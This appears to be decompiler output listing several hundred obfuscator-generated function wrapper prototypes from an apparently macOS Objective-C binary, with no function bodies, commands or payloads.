void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18842(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18843(void *a1);
id __fastcall HikariFunctionWrapper_18844(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18845(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18846(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18847(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18848(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18849(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18850(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18851(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18852(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18853(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18854(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18855(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_18856(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18857(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18858(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18859(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18860(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18861(void *a1);
id __fastcall HikariFunctionWrapper_18862(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18863(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18864(__int64 a1, __int64 a2, __int64 a3, unsigned int a4, unsigned int a5);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18865(__int64 a1, __int64 a2, __int64 a3, unsigned int a4, unsigned int a5);
__int64 __fastcall HikariFunctionWrapper_18866(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18867(__int64 a1);
__int64 HikariFunctionWrapper_18868();
__int64 HikariFunctionWrapper_18869();
bool HikariFunctionWrapper_18870();
bool HikariFunctionWrapper_18871();
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18872(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18873(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18874(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18875(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18876(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18877(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18878(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18879(void *a1, const char *a2);
unsigned int __fastcall HikariFunctionWrapper_18880(unsigned int a1);
unsigned int __fastcall HikariFunctionWrapper_18881(unsigned int a1);
__int64 __fastcall HikariFunctionWrapper_18882(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18883(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18884(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18885(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18886(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18887(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18888(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18889(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_18890(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18891(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18892(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18893(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18894(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18895(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18896(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18897(NSString *a1);
pid_t HikariFunctionWrapper_18898();
pid_t HikariFunctionWrapper_18899();
id __fastcall HikariFunctionWrapper_18900(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18901(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18902(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18903(void *a1, const char *a2);
CFDictionaryRef __fastcall HikariFunctionWrapper_18904(const __SCDynamicStore *a1);
CFDictionaryRef __fastcall HikariFunctionWrapper_18905(const __SCDynamicStore *a1);
id __fastcall HikariFunctionWrapper_18906(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18907(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18908(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18909(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18910(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18911(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18912(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18913(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18914(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18915(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18916(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18917(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18918(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18919(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18920(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18921(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18922(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18923(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18924(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18925(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18926(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18927(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18928(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18929(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18930(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18931(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18932(void *a1);
id __fastcall HikariFunctionWrapper_18933(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18934(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18935(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18936(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18937(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18938(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18939(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18940(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18941(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18942(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18943(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18944(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18945(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18946(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18947(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18948(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18949(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18950(const void *a1, int a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18951(const void *a1, int a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18952(const void *a1, int a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18953(const void *a1, int a2);
id __fastcall HikariFunctionWrapper_18954(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18955(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18956(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18957(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18958(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18959(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18960(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18961(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18962(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18963(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18964(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18965(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18966(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18967(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18968(const void *a1, int a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18969(const void *a1, int a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18970(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18971(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18972(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18973(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18974(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18975(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18976(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18977(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18978(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18979(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18980(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18981(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18982(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18983(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18984(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18985(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18986(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18987(NSString *a1);
id __fastcall HikariFunctionWrapper_18988(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18989(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18990(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18991(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18992(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18993(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18994(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18995(void *a1, const char *a2);
NSString *HikariFunctionWrapper_18996();
NSString *HikariFunctionWrapper_18997();
id __fastcall HikariFunctionWrapper_18998(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18999(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19000(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19001(void *a1, const char *a2);
NSString *HikariFunctionWrapper_19002();
NSString *HikariFunctionWrapper_19003();
id __fastcall HikariFunctionWrapper_19004(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19005(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19006(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19007(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19008(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19009(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19010(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19011(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19012(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19013(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19014(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19015(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19016(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19017(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19018(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19019(NSString *a1);
id __fastcall HikariFunctionWrapper_19020(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19021(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19022(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19023(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19024(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19025(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19026(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19027(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19028(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19029(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19030(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19031(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19032(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19033(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19034(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19035(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_19036(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_19037(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19038(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19039(NSString *a1);
__int64 __fastcall HikariFunctionWrapper_19040(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_19041(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19042(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19043(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19044(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19045(NSString *a1);
__int64 __fastcall HikariFunctionWrapper_19046(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_19047(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_19048(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_19049(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_19050(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_19051(__int64 a1);
id __fastcall HikariFunctionWrapper_19052(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19053(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19054(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19055(NSString *a1);
id __fastcall HikariFunctionWrapper_19056(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19057(void *a1, const char *a2);
OSStatus __fastcall HikariFunctionWrapper_19058(const AuthorizationOpaqueRef *a1, AuthorizationFlags a2);
OSStatus __fastcall HikariFunctionWrapper_19059(const AuthorizationOpaqueRef *a1, AuthorizationFlags a2);
id __fastcall HikariFunctionWrapper_19060(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19061(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19062(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19063(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19064(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19065(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19066(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19067(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19068(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19069(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19070(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19071(NSString *a1);
__int64 __fastcall HikariFunctionWrapper_19072(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_19073(__int64 a1);
id __fastcall HikariFunctionWrapper_19074(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19075(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19076(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19077(void *a1, const char *a2);
OSStatus __fastcall HikariFunctionWrapper_19078(const AuthorizationOpaqueRef *a1, const char *a2, AuthorizationFlags a3, char *const *a4, FILE **a5);
OSStatus __fastcall HikariFunctionWrapper_19079(const AuthorizationOpaqueRef *a1, const char *a2, AuthorizationFlags a3, char *const *a4, FILE **a5);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19080(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19081(NSString *a1);
id __fastcall HikariFunctionWrapper_19082(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19083(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19084(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19085(NSString *a1);
OSStatus __fastcall HikariFunctionWrapper_19086(const AuthorizationOpaqueRef *a1, const char *a2, AuthorizationFlags a3, char *const *a4, FILE **a5);
OSStatus __fastcall HikariFunctionWrapper_19087(const AuthorizationOpaqueRef *a1, const char *a2, AuthorizationFlags a3, char *const *a4, FILE **a5);
pid_t __fastcall HikariFunctionWrapper_19088(int *a1);
pid_t __fastcall HikariFunctionWrapper_19089(int *a1);
id __fastcall HikariFunctionWrapper_19090(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19091(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19092(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19093(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19094(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19095(NSString *a1);
id __fastcall HikariFunctionWrapper_19096(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19097(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19098(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19099(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19100(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19101(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19102(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19103(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19104(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19105(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19106(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19107(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19108(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19109(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19110(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19111(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19112(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19113(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19114(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19115(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19116(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19117(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19118(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19119(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19120(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19121(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19122(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19123(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19124(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19125(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19126(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19127(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19128(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19129(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19130(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19131(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19132(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19133(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19134(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19135(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19136(void *a1, const void *a2, int a3);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19137(void *a1, const void *a2, int a3);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19138(const void *a1, int a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19139(const void *a1, int a2);
id __fastcall HikariFunctionWrapper_19140(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19141(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19142(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19143(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19144(objc_class *a1);
id __fastcall HikariFunctionWrapper_19145(objc_class *a1);
id __fastcall HikariFunctionWrapper_19146(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19147(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19148(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19149(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19150(objc_class *a1);
id __fastcall HikariFunctionWrapper_19151(objc_class *a1);
id __fastcall HikariFunctionWrapper_19152(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19153(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19154(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19155(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19156(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19157(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19158(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19159(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19160(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19161(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19162(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19163(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19164(void *a1);
id __fastcall HikariFunctionWrapper_19165(void *a1);
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19166();
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19167();
id __fastcall HikariFunctionWrapper_19168(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19169(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19170(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19171(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19172(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19173(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19174(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19175(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19176(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19177(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19178(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19179(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19180(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19181(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19182(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19183(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19184(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19185(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19186(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19187(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19188(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19189(void *a1);
